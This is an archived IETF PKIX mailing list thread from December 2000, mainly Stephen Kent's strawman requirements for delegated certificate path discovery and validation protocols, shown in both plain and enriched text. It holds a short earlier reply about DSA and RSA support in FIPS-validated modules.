>modules - some hardware, some software.  (For those interested, see 
>http://csrc.nist.gov/cryptval/140-1/1401val.htm)  Many of those 
>cryptographic modules already support multiple signature algorithms. 
>I didn't count, but it appears that most of the recent products 
>(both hardware and software) support both DSA and RSA for signatures.
>
>To me, this implies that multiple algorithm support is reasonable 
>unless the device footprint must be very small.  This may be a 
>biased data set, though.  Validated products are required to support 
>at least one FIPS-approved algorithm, and RSA has only recently 
>become a FIPS-approved algorithm.

Bingo: that obviously skewed the requirements. In the IPsec and 
S/MIME space, there was no such requirement (that is, S/MIME vendors 
simply ignore the v3 specs), and there are almost no commercial or 
even freeware implementations using DSA.

--Paul Hoffman, Director
--VPN Consortium


From owner-ietf-pkix@imc.org  Fri Dec 29 13:27:03 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA11339
	for <pkix-archive@odin.ietf.org>; Fri, 29 Dec 2000 13:27:02 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA27698;
	Fri, 29 Dec 2000 10:22:49 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 29 Dec 2000 10:22:46 -0800
Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA27655
	for <ietf-pkix@imc.org>; Fri, 29 Dec 2000 10:22:44 -0800 (PST)
Received: from [171.78.30.107] (comsec.bbn.com [171.78.30.107])
	by po1.bbn.com (8.9.1/8.9.1) with ESMTP id NAA04119
	for <ietf-pkix@imc.org>; Fri, 29 Dec 2000 13:26:46 -0500 (EST)
Mime-Version: 1.0
X-Sender: kent@po1.bbn.com
Message-Id: <v04220803b67286e11dda@[171.78.30.107]>
In-Reply-To: <004401c06739$f7b9f550$0201a8c0@vincent.se>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se>
 <v04220800b65fe2367041@[171.78.30.107]>
 <013101c066c3$d63b4bc0$0201a8c0@vincent.se>
 <v04220802b660338b1fb9@[171.78.30.107]>
 <004401c06739$f7b9f550$0201a8c0@vincent.se>
Date: Fri, 29 Dec 2000 13:24:58 -0500
To: "PKIX-List" <ietf-pkix@imc.org>
From: Stephen Kent <kent@bbn.com>
Subject: DPD & DPV requirements
Content-Type: multipart/alternative; boundary="============_-1234008029==_ma============"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

--============_-1234008029==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Content-Transfer-Encoding: quoted-printable

As promised, here is the strawman requirements specification for DPV=20
and DPD. Questions that the WG needs to address as part of deciding=20
on the scope of these requirements are in boldface.

Happy Holidays,

Steve
--------


The WG has already decided to purse standardization of a protocol (or=20
protocols) for delegated path discovery (DPD) and delegated path=20
validation (DPV). This memo revisits and expands on the rationale for=20
offering these services, notes the overlap in server functionality=20
required for each, and proposes requirements for candidate protocols=20
that will be considered for standardization by PKIX. The goal of the=20
memo is to provide a strawman set of requirements and evaluation=20
criteria that will be used to select PKIX standards.

A DPD or a DPV server may operate in either a public or private=20
context. In the former case, clients are assumed to be from a broad=20
community with no common organizational affiliation and the service=20
may be offered for a fee. In the latter case, the service may be=20
offered to a closed community under a common organizational=20
structure, where there is an expectation that the server falls under=20
the same administrative control as the clients and no explicit fee=20
may be involved. Intermediate or hybrid models also may exist, but=20
are not specifically identified here nor required as part of proposed=20
solutions.

DPD allows a client to offload the communications and processing=20
associated with retrieval of certificates and CRLs (or OCSP=20
responses) to create a certification path terminating in a target=20
certificate. The client supplies this target certificate, or it may=20
supply a partial path, or a complete path (the latter two may have=20
been acquired as part of a protocol exchange). In the last case, the=20
DPD server assists the client by acquiring relevant revocation status=20
information. The client might also supply some revocation status=20
data, to aid the path discovery process, just as it may provide a=20
partial or complete certification path. This might make sense if this=20
revocation status data was supplied to the client as part of a=20
protocol exchange, e.g., IKE and S/MIME make provisions for send such=20
data.

The client may be bandwidth constrained and thus would benefit from=20
having a server interact with repositories and other servers to=20
acquire the requisite certification path and/or revocation status=20
data. The client may be storage constrained, and thus can benefit=20
from a server that caches certificates, CRLs and OCSP responses.=20
Because multiple protocols may have to be employed in communicating=20
with various servers (e.g., OCSP, LDAP, etc.) in performing path=20
discovery, the size and complexity of client code may be reduced by=20
reliance on a DPD server. Because the server can have more storage, a=20
faster processor, and higher speed communications paths to these=20
servers, the client may gain a performance advantage by delegating=20
the task of path discovery.

DPV offloads all aspects of path validation to a server, which=20
returns to the client, at a minimum, an indication of status of the=20
target certificate. This status may be relative to the current time,=20
or it might be a request to verify status at some previous time,=20
e.g., as an aid to checking non-repudiation evidence. As above, the=20
client may provide a partial or complete candidate path for=20
validation, or may provide just the target certificate, and the=20
client may provide some or all of the associated revocation status=20
data. Also, the parameters for path validation must be provided,=20
either explicitly in the request or via server configuration. As well=20
as the benefits noted above (reduced bandwidth, storage and=20
processing requirements and reduced client code size and complexity),=20
DPV allows an administrator to centrally manage (via server=20
configuration) some or all of the path validation parameters. Similar=20
controls on path discovery could be present in a DPD server. Central=20
management controls are viewed as especially attractive in closed,=20
organizational environments as they mitigate configuration management=20
problems for individual clients. For a public DPV service this is not=20
an issue because there is no single, central authority responsible=20
for configuration management of all clients.

A DPD client is assumed capable of performing path validation on the=20
returned certificate chain(s), which implies that the client embodies=20
validation software consistent with RFC 2459 (which is non-trivial in=20
size and complexity) and thus is capable of parsing certificates,=20
CRLs, and OCSP responses. Such a client may be termed "PKI-aware,"=20
i.e., it can parse ASN.1, verify digital signatures, perform path=20
validation, and is cognizant of validation parameters. Thus, no=20
apparent, significant benefit accrues from using a syntax other than=20
ASN.1 for DPD queries and responses.

Because a DPD client is PKI-aware, it is capable of specifying the=20
validation parameters used by a DPD server in constructing a=20
candidate path. The goal of DPD is to return one or more chains that=20
will be acceptable to the client, so it is important that the client=20
be able to specify, e.g., via a DPD request, the set of validation=20
processing parameters that it will use for local validation. Only by=20
making the DPD server aware of these parameters can the server return=20
a path (and supporting revocation status data) that will have a very=20
high likelihood of being acceptable to the client. It may be=20
desirable, especially in a closed environment, to assert centralized=20
control over the validation processing parameters used by the server,=20
even though such control is less stringent than that imposed in a DPV=20
context. This suggests there should be provisions for configuring=20
validation processing parameters into the server, and for allowing a=20
client to select from among several possible parameter sets. See the=20
discussion immediately below for a further examination of this issue.

DPV also requires a means to control the validation parameters=20
defined in RFC 2459. If we assume that a DPV protocol will operate in=20
both open and closed environments,  and if we wish to accommodate=20
PKI-aware clients, then there must be a means for a client to specify=20
all of these parameters, or to specify a subset of them. The former=20
requirement arises in the simplest, open server contexts; the latter=20
may arise in such contexts if there is some other way to signal a=20
default set of parameters for validation control, e.g., via reference=20
to one of several validation policies configured in a server, as a=20
basis for these parameter values. In a closed environment, it is=20
still important that a client be able to specify validation=20
parameters, e.g., as a means of selecting from among a set of=20
parameters allowed by administrative controls managed at the server.=20
=46or example, a server in an organizational environment may have a=20
configured set of trust points, but a client may be permitted to=20
select from a subset of these when requesting validation for a=20
specific certificate. Such flexibility is needed because the=20
validation parameters are a function of several variables that are=20
context specific.

It seems reasonable to require a DPV or DPD client to be able to=20
control validation via two means: specification of a validation=20
policy configured at a server, or via client-specified parameters.=20
These means are not mutually exclusive, and a server should support=20
combinations of them, e.g., client-specified parameters constrained=20
by reference to a server-configured validation policy. We need to=20
refine the semantics here, e.g., can the server be configured with=20
path validation parameters that CANNOT be overridden by a client, and=20
if so, does the server have to inform the client when its=20
explicitly-specified parameters were ignored, as part of response, or=20
does the server just reject the request, note the offending=20
parameters, and let the client try again?

It is tempting to suggest support for multiple policies specified in=20
a request, but I'm not sure how one would make use of this. For=20
example, is the server required to try to construct paths based on=20
each of the policies, in succession, and to return all successful=20
results, or is the server free to choose any one of the policies?=20
Does the order in which the policies are specified indicative of=20
preference? To keep life simple, for now, I suggest that we allow=20
specifying only one policy in a request, but I am open to suggestions.

At a minimum, the parameters for server-configured policies must be=20
those specified by the certificate path validation algorithm in RFC=20
2459. It is tempting to suggest that a vendor may elect to augment=20
this set and provide a means by which a client can specify additional=20
controls. The motivation here is that, over time, we may identify=20
additional controls to provide "fuzzier" evaluation. For example, a=20
client might be willing to accept a certificate if the server asserts=20
that although the current CRL for the target certificate is not=20
available, the certificate is not on the most recent CRL available to=20
the server at the time of the request. This area is quite complex and=20
does not yet appear suitable for standardization. The WG must decide=20
if we wish to require (or discourage) such extensibility. Note that=20
extensibility usually leads to added complexity, and possible=20
non-interoperabilty, e.g., if private extensions are supported.=20
Personally, I would recommend against such extensions at this time.

It has been suggested that a DPV server also should be capable of=20
returning time-stamped certification path(s) and revocation data, for=20
later use as evidence in a non-repudiation dispute. If so, then the=20
data returned by a DPV server is potentially quite close to that=20
provided by a DPD server. One could argue that a DPD server could=20
provide an option for return of time-stamped path and revocation=20
status data, also in support of non-repudiation, for the same=20
reasons, which would make the responses for both types of servers=20
even more similar.

It is important to ask to what extent should we assume that a DPV=20
client is PKI aware? At one extreme one can imagine that the client=20
is PKI-aware and that it should be able to specify all of the path=20
validation parameters required in 2459. For such a client, returning=20
a certificate and an indication of its validity seems appropriate.=20
Alternatively, a DPV client may not be PKI-aware, but may still be=20
ASN.1-capable. The client could parse a certificate returned to it,=20
but it does not implement nor understand path validation. For such a=20
client, it seems appropriate to control path validation only via=20
reference to a policy, not by specifying individual path validation=20
parameters. In the extreme case, a DPV client may not even be=20
ASN.1-capable.

=46or a non-PKI aware, non-ASN.1-capable client, the results returned=20
by the DPV protocol should not be merely a certificate and a status=20
indication. Rather, the contents of a certificate that are relevant=20
to the client application should be returned as distinct values, in a=20
syntax appropriate for the client. For example, the public key and=20
associated algorithm, the subject name (and/or alternate names) and=20
the issuer name (and alternate names), the key usage bits, and the=20
extended key usage field are all candidate values to be returned as=20
distinct objects to the client. An argument could be made for using=20
XML to represent some of these values, and to represent the syntax of=20
the protocol messages. But, some of the certificate contents,=20
specifically the issuer name and subject name, are intrinsically=20
ASN.1 objects themselves, so these values would have to be decoded=20
even further for use by a non-ASN.1-aware client. (There are=20
scenarios that motivate return of ASN.1-encoded data, e.g.,=20
certification paths and revocation data, as an opaque blob, e.g., for=20
later use in a non-repudiation dispute. But this does not imply that=20
the client is ASN.1-aware.)

If we wish to support DPV clients  that are not ASN.1-capable, the WG=20
is faced with a question; Shall we mandate support for another syntax=20
in addition to (or in lieu of) ASN.1, for a DPV protocol? This=20
question must be resolved soon, as it becomes an important input to=20
DPV protocol requirements. In informal discussions at the IETF=20
meeting, some folks suggested that the scope of issues associated=20
with supporting non-ASN.1-capable clients (in the DPV context) is=20
potentially very broad and that we should defer such support for now.=20
But, the WG needs to weigh in on this question.

=46inally, this analysis suggests that there are relatively few=20
differences between a DPD and a DPV server. Both must be capable of=20
constructing and returning certification paths and supporting=20
revocation data, under the control of parameters that are either=20
explicitly specified by a client or referenced via a=20
server-configured policy. Both accept a range of inputs in the form=20
of certificates or certificate chains, and revocation data "hints."=20
Thus, the WG must decide if two distinct protocol formats, with=20
different syntax are warranted, of if a single (slightly more=20
complex) format for requests and responses is appropriate.

Based on the preceding analysis, I propose the following requirements=20
for DPD and DVP protocols, based on the assumption of ASN.1 aware=20
clients.  Remember that the protocol specs will encompass not only=20
the syntax of the bits on the wire, but also the processing that will=20
be performed by clients and servers.

Unless otherwise qualified, he following requirements are proposed=20
for both DPD and DPV protocols:

Client requirements:

1.1	A client request can contain a single certificate or a=20
certificate chain terminating in the "target" certificate, to assist=20
the server in path construction.

1.2	A client request can contain one or more revocation data=20
items, to assist the server in path validation.

1.3	A client request to a DPV server can specify the time=20
relative to which the validation is to be performed. If omitted, the=20
current time is assumed.

1.4	A DPD client request must be able to specify whether only=20
CRLs, only OCSP responses, or either, are acceptable forms of=20
revocation status data to be returned. (We could apply this=20
requirement to DPV requests as well, if the content of returned,=20
substantiating evidence for non-repudiation needs to be similarly=20
constrained.) [Shall we also allow the request to also impose=20
constraints on the forms of OCSP responses that are acceptable, by=20
type, and if the basic type is specified shall we require an ability=20
to specify a time before which a pre-produced OCSP response is=20
considered too old?]

1.5	A DPV client request must be able to specify whether a=20
certification path and revocation status data, plus a TSP response=20
(for each returned certification path and revocation data set) should=20
be returned by a server, in support of non-repudiation.

1.6	A DPD client request must be able to specify whether a TSP=20
response should be returned by a server (for each returned=20
certification path and revocation data set), in support of=20
non-repudiation.

1.7	A client request must be able to specify validation=20
processing parameter values both via reference to policies configured=20
at a server and via specification of values for individual=20
parameters. If no policy is specified and no parameters are=20
specified, a default parameter value set, configured at the server,=20
will be employed. If a policy is specified but no parameter values=20
are specified by the client, then the parameter values associated=20
with that policy are employed. If only client-supplied parameter=20
values are present in the request, then they are employed. Any=20
parameters not specified by the client will be supplied by the=20
default set configured in the server. Also, if any of these default=20
parameters are marked as not capable of being overridden by=20
user-specified parameter values, then the default parameter values=20
shall be employed. If a policy is specified and there are=20
client-supplied parameter values, the policy is employed to select=20
parameter values, and then the user-supplied parameter values are=20
applied, overriding the policy-specified parameter values, except for=20
any policy-specified parameters that are marked as not subject to=20
user override. [whew!]

1.8	Either the request/response protocol itself, or a specified=20
lower layer protocol to be employed for requests and responses, there=20
must be a provision for data origin authentication and connectionless=20
integrity for requests and responses, and responses must be matched=20
to requests. Request authentication & integrity is needed to support=20
access control to the server, a requirement for public servers.=20
Responses must be authenticated and integrity-protected to ensure=20
that they are from the indicated server, and matched to the request=20
in question. Additional security services may be offered optionally.

1.9	The client must be able to query a server and request path=20
validation policy parameter values for any policy configured on the=20
server. The client must be able to specify policies by an ID (e.g.,=20
an OID) or to refer to the default policy. [A standard will have to=20
specify the policy ID format.]


Server Requirements:

2.1	A server must be able to process client requests invoking any=20
of the features defined above for clients. Thus it must implement RFC=20
2459-compliant certificate validation procedures in support of both=20
DPD and DPV. The path discovery process implemented by a DPD server=20
operates under the same set of controls as path validation, and thus=20
a DPD server returns paths only if they are valid with respect to the=20
specified path validation parameter values.

2.2	A server must be able to return one or more sets of=20
certification paths and associated revocation data as a result of=20
path discovery/validation.  Each set shall consist of an ordered list=20
of certificates and associated CRLs and/or OCSP responses.

2.3	A server must be capable of returning a time stamp response=20
(consistent with the TSP RFC that will soon be issued) covering each=20
returned certification path and revocation data set. (See 1.4 & 1.5=20
above)

2.4	A server must be configurable to support multiple sets of=20
path validation parameters, each identified by a policy identifier.=20
One such set, which must include values for all validation=20
parameters, must be designated as the default policy. Each parameter=20
in any policy must be capable of being marked as not subject to=20
override by corresponding, client-specified parameters. (It is TBD=20
whether the default policy supercedes other configured policies if=20
there are conflicts in parameters that are marked as not being=20
subject to override.)

2.5	The means by which validation policy parameter values are=20
configured will not be part of the standard.

2.6	A server must be able to access both LDAP servers and OCSP=20
servers in support of path discovery and revocation data acquisition.

2.7	A server must be able to respond to a request from a client=20
for the path validation policy parameters for the default policy, or=20
for any identified policy. However, a server may impose access=20
controls with regard to such requests so that it may reject a query=20
if the client is not authorized to invoke the path validation policy=20
in question.
----------------------------------------------------------------------=20
--------------------------------------------

My examination of both SCVP and the proposed OCSPv2 extensions=20
suggests that neither meet the strawman requirements I set forth=20
above. Of course, the WG also has to review these requirements and=20
determine if there is consensus on them, or if they need to be=20
modified (pruned or extended). The time table in my pre-Christmas=20
message says that we have the next moth to reach closure on this.

=46inally, one criteria for selecting a standard which seems important=20
to many WG participants is the complexity of the client and server=20
implementations. Arguments about simplicity based on extending an=20
existing protocol are not objective in the absence of substantiating=20
data. Thus, to create a level playing field, all proposed protocols=20
must be accompanied by algorithmic descriptions of the processing by=20
both client and server. Remember that a protocol is not just the=20
syntax of the bits on the wire, but also encompasses the processing=20
and semantics associated with the protocol. I have tried to allude to=20
aspects of such processing in  the requirements above, but more work=20
remains. IETF standards have often failed to do a good job in this=20
regard. Our recent experience with varying interpretations of OCSP=20
(v1) responses demonstrate the importance of such specification. The=20
level of detail required here is open for discussion, but it must be=20
sufficient to allow WG members to create independent, interoperable=20
implementations, and to allow prospective evaluation of the relative=20
complexity of each candidate.

--============_-1234008029==_ma============
Content-Type: text/enriched; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<fontfamily><param>Times</param><bigger><bigger>As promised, here is
the strawman requirements specification for DPV and DPD. Questions that
the WG needs to address as part of deciding on the scope of these
requirements are in <bold>boldface</bold>.


Happy Holidays,


Steve

--------



The WG has already decided to purse standardization of a protocol (or
protocols) for delegated path discovery (DPD) and delegated path
validation (DPV). This memo revisits and expands on the rationale for
offering these services, notes the overlap in server functionality
required for each, and proposes requirements for candidate protocols
that will be considered for standardization by PKIX. The goal of the
memo is to provide a strawman set of requirements and evaluation
criteria that will be used to select PKIX standards.=20


A DPD or a DPV server may operate in either a public or private
context. In the former case, clients are assumed to be from a broad
community with no common organizational affiliation and the service may
be offered for a fee. In the latter case, the service may be offered to
a closed community under a common organizational structure, where there
is an expectation that the server falls under the same administrative
control as the clients and no explicit fee may be involved.
Intermediate or hybrid models also may exist, but are not specifically
identified here nor required as part of proposed solutions.


DPD allows a client to offload the communications and processing
associated with retrieval of certificates and CRLs (or OCSP responses)
to create a certification path terminating in a target certificate. The
client supplies this target certificate, or it may supply a partial
path, or a complete path (the latter two may have been acquired as part
of a protocol exchange). In the last case, the DPD server assists the
client by acquiring relevant revocation status information. The client
might also supply some revocation status data, to aid the path
discovery process, just as it may provide a partial or complete
certification path. This might make sense if this revocation status
data was supplied to the client as part of a protocol exchange, e.g.,
IKE and S/MIME make provisions for send such data.


The client may be bandwidth constrained and thus would benefit from
having a server interact with repositories and other servers to acquire
the requisite certification path and/or revocation status data. The
client may be storage constrained, and thus can benefit from a server
that caches certificates, CRLs and OCSP responses. Because multiple
protocols may have to be employed in communicating with various servers
(e.g., OCSP, LDAP, etc.) in performing path discovery, the size and
complexity of client code may be reduced by reliance on a DPD server.
Because the server can have more storage, a faster processor, and
higher speed communications paths to these servers, the client may gain
a performance advantage by delegating the task of path discovery.


DPV offloads all aspects of path validation to a server, which returns
to the client, at a minimum, an indication of status of the target
certificate. This status may be relative to the current time, or it
might be a request to verify status at some previous time, e.g., as an
aid to checking non-repudiation evidence. As above, the client may
provide a partial or complete candidate path for validation, or may
provide just the target certificate, and the client may provide some or
all of the associated revocation status data. Also, the parameters for
path validation must be provided, either explicitly in the request or
via server configuration. As well as the benefits noted above (reduced
bandwidth, storage and processing requirements and reduced client code
size and complexity), DPV allows an administrator to centrally manage
(via server configuration) some or all of the path validation
parameters. Similar controls on path discovery could be present in a
DPD server. Central management controls are viewed as especially
attractive in closed, organizational environments as they mitigate
configuration management problems for individual clients. For a public
DPV service this is not an issue because there is no single, central
authority responsible for configuration management of all clients.


A DPD client is assumed capable of performing path validation on the
returned certificate chain(s), which implies that the client embodies
validation software consistent with RFC 2459 (which is non-trivial in
size and complexity) and thus is capable of parsing certificates, CRLs,
and OCSP responses. Such a client may be termed "PKI-aware," i.e., it
can parse ASN.1, verify digital signatures, perform path validation,
and is cognizant of validation parameters. Thus, no apparent,
significant benefit accrues from using a syntax other than ASN.1 for
DPD queries and responses.=20


Because a DPD client is PKI-aware, it is capable of specifying the
validation parameters used by a DPD server in constructing a candidate
path. The goal of DPD is to return one or more chains that will be
acceptable to the client, so it is important that the client be able to
specify, e.g., via a DPD request, the set of validation processing
parameters that it will use for local validation. Only by making the
DPD server aware of these parameters can the server return a path (and
supporting revocation status data) that will have a very high
likelihood of being acceptable to the client. It may be desirable,
especially in a closed environment, to assert centralized control over
the validation processing parameters used by the server, even though
such control is less stringent than that imposed in a DPV context. This
suggests there should be provisions for configuring validation
processing parameters into the server, and for allowing a client to
select from among several possible parameter sets. See the discussion
immediately below for a further examination of this issue.=20


DPV also requires a means to control the validation parameters defined
in RFC 2459. If we assume that a DPV protocol will operate in both open
and closed environments,  and if we wish to accommodate PKI-aware
clients, then there must be a means for a client to specify all of
these parameters, or to specify a subset of them. The former
requirement arises in the simplest, open server contexts; the latter
may arise in such contexts if there is some other way to signal a
default set of parameters for validation control, e.g., via reference
to one of several validation policies configured in a server, as a
basis for these parameter values. In a closed environment, it is still
important that a client be able to specify validation parameters, e.g.,
as a means of selecting from among a set of parameters allowed by
administrative controls managed at the server. For example, a server in
an organizational environment may have a configured set of trust
points, but a client may be permitted to select from a subset of these
when requesting validation for a specific certificate. Such flexibility
is needed because the validation parameters are a function of several
variables that are context specific.


It seems reasonable to require a DPV or DPD client to be able to
control validation via two means: specification of a validation policy
configured at a server, or via client-specified parameters. These means
are <underline>not</underline> mutually exclusive, and a server should
support combinations of them, e.g., client-specified parameters
constrained by reference to a server-configured validation policy. We
need to refine the semantics here, e.g., can the server be configured
with path validation parameters that CANNOT be overridden by a client,
and if so, does the server have to inform the client when its
explicitly-specified parameters were ignored, as part of response, or
does the server just reject the request, note the offending parameters,
and let the client try again?


It is tempting to suggest support for multiple policies specified in a
request, but I'm not sure how one would make use of this. For example,
is the server required to try to construct paths based on each of the
policies, in succession, and to return all successful results, or is
the server free to choose any one of the policies?  Does the order in
which the policies are specified indicative of preference? To keep life
simple, for now, I suggest that we allow specifying only one policy in
a request, but I am open to suggestions.


At a minimum, the parameters for server-configured policies must be
those specified by the certificate path validation algorithm in RFC
2459. It is tempting to suggest that a vendor may elect to augment this
set and provide a means by which a client can specify additional
controls. The motivation here is that, over time, we may identify
additional controls to provide "fuzzier" evaluation. For example, a
client might be willing to accept a certificate if the server asserts
that although the current CRL for the target certificate is not
available, the certificate is not on the most recent CRL available to
the server at the time of the request. This area is quite complex and
does not yet appear suitable for standardization. The WG must decide if
we wish to require (or discourage) such extensibility. Note that
extensibility usually leads to added complexity, and possible
non-interoperabilty, e.g., if private extensions are supported.
Personally, I would recommend against such extensions at this time.


It has been suggested that a DPV server also should be capable of
returning time-stamped certification path(s) and revocation data, for
later use as evidence in a non-repudiation dispute. If so, then the
data returned by a DPV server is potentially quite close to that
provided by a DPD server. One could argue that a DPD server could
provide an option for return of time-stamped path and revocation status
data, also in support of non-repudiation, for the same reasons, which
would make the responses for both types of servers even more similar.


It is important to ask to what extent should we assume that a DPV
client is PKI aware? At one extreme one can imagine that the client is
PKI-aware and that it should be able to specify all of the path
validation parameters required in 2459. For such a client, returning a
certificate and an indication of its validity seems appropriate.
Alternatively, a DPV client may not be PKI-aware, but may still be
ASN.1-capable. The client could parse a certificate returned to it, but
it does not implement nor understand path validation. For such a
client, it seems appropriate to control path validation only via
reference to a policy, not by specifying individual path validation
parameters. In the extreme case, a DPV client may not even be
ASN.1-capable.


=46or a non-PKI aware, non-ASN.1-capable client, the results returned by
the DPV protocol should not be merely a certificate and a status
indication. Rather, the contents of a certificate that are relevant to
the client application should be returned as distinct values, in a
syntax appropriate for the client. For example, the public key and
associated algorithm, the subject name (and/or alternate names) and the
issuer name (and alternate names), the key usage bits, and the extended
key usage field are all candidate values to be returned as distinct
objects to the client. An argument could be made for using XML to
represent some of these values, and to represent the syntax of the
protocol messages. But, some of the certificate contents, specifically
the issuer name and subject name, are intrinsically ASN.1 objects
themselves, so these values would have to be decoded even further for
use by a non-ASN.1-aware client. (There are scenarios that motivate
return of ASN.1-encoded data, e.g., certification paths and revocation
data, as an opaque blob, e.g., for later use in a non-repudiation
dispute. But this does not imply that the client is ASN.1-aware.)=20


If we wish to support DPV clients  that are not ASN.1-capable, the WG
is faced with a question; <bold>Shall we mandate support for another
syntax in addition to (or in lieu of) ASN.1, for a DPV protocol?</bold>
This question must be resolved soon, as it becomes an important input
to DPV protocol requirements. In informal discussions at the IETF
meeting, some folks suggested that the scope of issues associated with
supporting non-ASN.1-capable clients (in the DPV context) is
potentially very broad and that we should defer such support for now.
But, the WG needs to weigh in on this question.=20


=46inally, this analysis suggests that there are relatively few
differences between a DPD and a DPV server. Both must be capable of
constructing and returning certification paths and supporting
revocation data, under the control of parameters that are either
explicitly specified by a client or referenced via a server-configured
policy. Both accept a range of inputs in the form of certificates or
certificate chains, and revocation data "hints." <bold>Thus, the WG
must decide if two distinct protocol formats, with different syntax are
warranted, of if a single (slightly more complex) format for requests
and responses is appropriate.


</bold>Based on the preceding analysis, I propose the following
requirements for DPD and DVP protocols, <underline>based on the
assumption of ASN.1 aware clients</underline>.  Remember that the
protocol specs will encompass not only the syntax of the bits on the
wire, but also the processing that will be performed by clients and
servers.


Unless otherwise qualified, he following requirements are proposed for
<underline>both</underline> DPD and DPV protocols:


Client requirements:


1.1	A client request can contain a single certificate or a certificate
chain terminating in the "target" certificate, to assist the server in
path construction.


1.2	A client request can contain one or more revocation data items, to
assist the server in path validation.


1.3	A client request to a DPV server can specify the time relative to
which the validation is to be performed. If omitted, the current time
is assumed.


1.4	A DPD client request must be able to specify whether only CRLs,
only OCSP responses, or either, are acceptable forms of revocation
status data to be returned. (We could apply this requirement to DPV
requests as well, if the content of returned, substantiating evidence
for non-repudiation needs to be similarly constrained.) [<bold>Shall we
also allow the request to also impose constraints on the forms of OCSP
responses that are acceptable, by type, and if the basic type is
specified shall we require an ability to specify a time before which a
pre-produced OCSP response is considered too old?</bold>]


1.5	A DPV client request must be able to specify whether a
certification path and revocation status data, plus a TSP response (for
each returned certification path and revocation data set) should be
returned by a server, in support of non-repudiation.


1.6	A DPD client request must be able to specify whether a TSP response
should be returned by a server (for each returned certification path
and revocation data set), in support of non-repudiation.


1.7	A client request must be able to specify validation processing
parameter values both via reference to policies configured at a server
and via specification of values for individual parameters. If no policy
is specified and no parameters are specified, a default parameter value
set, configured at the server, will be employed. If a policy is
specified but no parameter values are specified by the client, then the
parameter values associated with that policy are employed. If only
client-supplied parameter values are present in the request, then they
are employed. Any parameters not specified by the client will be
supplied by the default set configured in the server. Also, if any of
these default parameters are marked as not capable of being overridden
by user-specified parameter values, then the default parameter values
shall be employed. If a policy is specified and there are
client-supplied parameter values, the policy is employed to select
parameter values, and then the user-supplied parameter values are
applied, overriding the policy-specified parameter values, except for
any policy-specified parameters that are marked as not subject to user
override. [whew!]


1.8	Either the request/response protocol itself, or a specified lower
layer protocol to be employed for requests and responses, there must be
a provision for data origin authentication and connectionless integrity
for requests and responses, and responses must be matched to requests.
Request authentication & integrity is needed to support access control
to the server, a requirement for public servers. Responses must be
authenticated and integrity-protected to ensure that they are from the
indicated server, and matched to the request in question. Additional
security services may be offered optionally.


1.9	The client must be able to query a server and request path
validation policy parameter values for any policy configured on the
server. The client must be able to specify policies by an ID (e.g., an
OID) or to refer to the default policy. [A standard will have to
specify the policy ID format.]



Server Requirements:


2.1	A server must be able to process client requests invoking any of
the features defined above for clients. Thus it must implement RFC
2459-compliant certificate validation procedures in support of both DPD
and DPV. The path discovery process implemented by a DPD server
operates under the same set of controls as path validation, and thus a
DPD server returns paths only if they are valid with respect to the
specified path validation parameter values.


2.2	A server must be able to return one or more sets of certification
paths and associated revocation data as a result of path
discovery/validation.  Each set shall consist of an ordered list of
certificates and associated CRLs and/or OCSP responses.


2.3	A server must be capable of returning a time stamp response
(consistent with the TSP RFC that will soon be issued) covering each
returned certification path and revocation data set. (See 1.4 & 1.5
above)


2.4	A server must be configurable to support multiple sets of path
validation parameters, each identified by a policy identifier. One such
set, which must include values for all validation parameters, must be
designated as the default policy. Each parameter in
<underline>any</underline> policy must be capable of being marked as
<underline>not</underline> subject to override by corresponding,
client-specified parameters. (It is TBD whether the default policy
supercedes other configured policies if there are conflicts in
parameters that are marked as not being subject to override.)


2.5	The means by which validation policy parameter values are
configured will not be part of the standard.


2.6	A server must be able to access both LDAP servers and OCSP servers
in support of path discovery and revocation data acquisition.


2.7	A server must be able to respond to a request from a client for the
path validation policy parameters for the default policy, or for any
identified policy. However, a server may impose access controls with
regard to such requests so that it may reject a query if the client is
not authorized to invoke the path validation policy in question.

----------------------------------------------------------------------------=
--------------------------------------


My examination of both SCVP and the proposed OCSPv2 extensions suggests
that neither meet the strawman requirements I set forth above. Of
course, the WG also has to review these requirements and determine if
there is consensus on them, or if they need to be modified (pruned or
extended). The time table in my pre-Christmas message says that we have
the next moth to reach closure on this.


=46inally, one criteria for selecting a standard which seems important to
many WG participants is the complexity of the client and server
implementations. Arguments about simplicity based on extending an
existing protocol are not objective in the absence of substantiating
data. Thus, to create a level playing field, all proposed protocols
must be accompanied by algorithmic descriptions of the processing by
both client and server. Remember that a protocol is not just the syntax
of the bits on the wire, but also encompasses the processing and
semantics associated with the protocol. I have tried to allude to
aspects of such processing in  the requirements above, but more work
remains. IETF standards have often failed to do a good job in this
regard. Our recent experience with varying interpretations of OCSP (v1)
responses demonstrate the importance of such specification. The level
of detail required here is open for discussion, but it must be
sufficient to allow WG members to create independent, interoperable
implementations, and to allow prospective evaluation of the relative
complexity of each candidate.
</bigger></bigger></fontfamily>

--============_-1234008029==_ma============--



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA27655 for <ietf-pkix@imc.org>; Fri, 29 Dec 2000 10:22:44 -0800 (PST)
Received: from [171.78.30.107] (comsec.bbn.com [171.78.30.107]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id NAA04119 for <ietf-pkix@imc.org>; Fri, 29 Dec 2000 13:26:46 -0500 (EST)
Mime-Version: 1.0
X-Sender: kent@po1.bbn.com
Message-Id: <v04220803b67286e11dda@[171.78.30.107]>
In-Reply-To: <004401c06739$f7b9f550$0201a8c0@vincent.se>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <v04220800b65fe2367041@[171.78.30.107]> <013101c066c3$d63b4bc0$0201a8c0@vincent.se> <v04220802b660338b1fb9@[171.78.30.107]> <004401c06739$f7b9f550$0201a8c0@vincent.se>
Date: Fri, 29 Dec 2000 13:24:58 -0500
